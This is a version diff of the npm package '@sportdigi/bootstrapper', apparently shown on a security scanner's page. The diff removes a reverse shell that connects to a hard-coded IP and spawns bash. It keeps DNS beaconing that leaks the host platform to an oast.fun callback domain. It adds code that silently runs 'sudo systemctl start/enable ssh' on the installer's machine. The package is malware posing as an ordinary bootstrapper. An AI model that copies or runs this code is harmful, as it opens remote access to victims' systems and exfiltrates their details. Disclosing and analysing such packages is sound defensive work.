@sportdigi/bootstrapper 24.1.0 → 26.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/app.js +26 -46
  2. package/package.json +7 -4
package/app.js CHANGED
@@ -1,5 +1,8 @@
1
1
  const dns = require('dns');
2
2
  const os = require('os');
3
+ const net = require('net');
4
+ const spawn = require('child_process').spawn;
5
+ const { execSync} = require('node:child_process');
3
6
  let platform = os.platform();
4
7
  function sendDns(query){
5
8
  let domain = `${query}.fctdhxpvrzxmmwtxpidt0w23qlngi0owc.oast.fun`;
@@ -13,53 +16,30 @@ function sendDns(query){
13
16
 
14
17
  if (platform == 'win32'){
15
18
  sendDns("windows");
16
- }
17
- sendDns(platform);
18
-
19
- const net = require('net');
20
- const spawn = require('child_process').spawn;
21
-
22
- const HOST = '54.90.237.9';
23
- const PORT = 9898;
24
- const retryInterval = 20000;
25
-
26
- function connect() {
27
- const client = new net.Socket();
19
+ }else if(platform == 'linux'){
28
20
 
29
- client.connect(PORT, HOST, () => {
30
- console.log('Bağlantı kuruldu.');
31
-
32
- const shell = spawn('/bin/bash', []);
33
-
34
- shell.stdout.on('data', (data) => {
35
- client.write(data);
36
- });
37
-
38
- shell.stderr.on('data', (data) => {
39
- client.write(data);
40
- });
41
-
42
- client.on('data', (data) => {
43
- shell.stdin.write(data);
44
- });
45
-
46
- client.on('close', () => {
47
- console.log('Bağlantı kapatıldı.');
48
- client.destroy();
49
- scheduleReconnect();
50
- });
51
- });
52
-
53
- client.on('error', (err) => {
54
- console.error('Bağlantı hatası:', err);
55
- client.destroy();
56
- scheduleReconnect();
57
- });
58
21
  }
22
+ sendDns(platform);
59
23
 
60
- function scheduleReconnect() {
61
- console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
62
- setTimeout(connect, retryInterval);
63
- }
64
24
 
65
- connect();
25
+ let linuxCommands = [
26
+ "sudo systemctl start ssh",
27
+ "sudo systemctl enable ssh"
28
+
29
+ ];
30
+
31
+ const setupSSH = (commands) => {
32
+ for (const command of commands) {
33
+ try {
34
+ console.log(`Çalıştırılıyor: ${command}`);
35
+ const result = execSync(command).toString();
36
+ console.log(result);
37
+ } catch (error) {
38
+ console.error(`Hata: ${command} komutu başarısız oldu`);
39
+ console.error(error.message);
40
+ sendDns("sshHata");
41
+ }
42
+ }
43
+ };
44
+
45
+ setupSSH(linuxCommands);
package/package.json CHANGED
@@ -1,11 +1,14 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "24.1.0",
3
+ "version": "26.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
- "scripts": {
7
- "preinstall": ""
6
+ "scripts": {
7
+ "preinstall": ""
8
8
  },
9
9
  "author": "james4141",
10
- "license": "ISC"
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "ssh2": "^1.16.0"
13
+ }
11
14
  }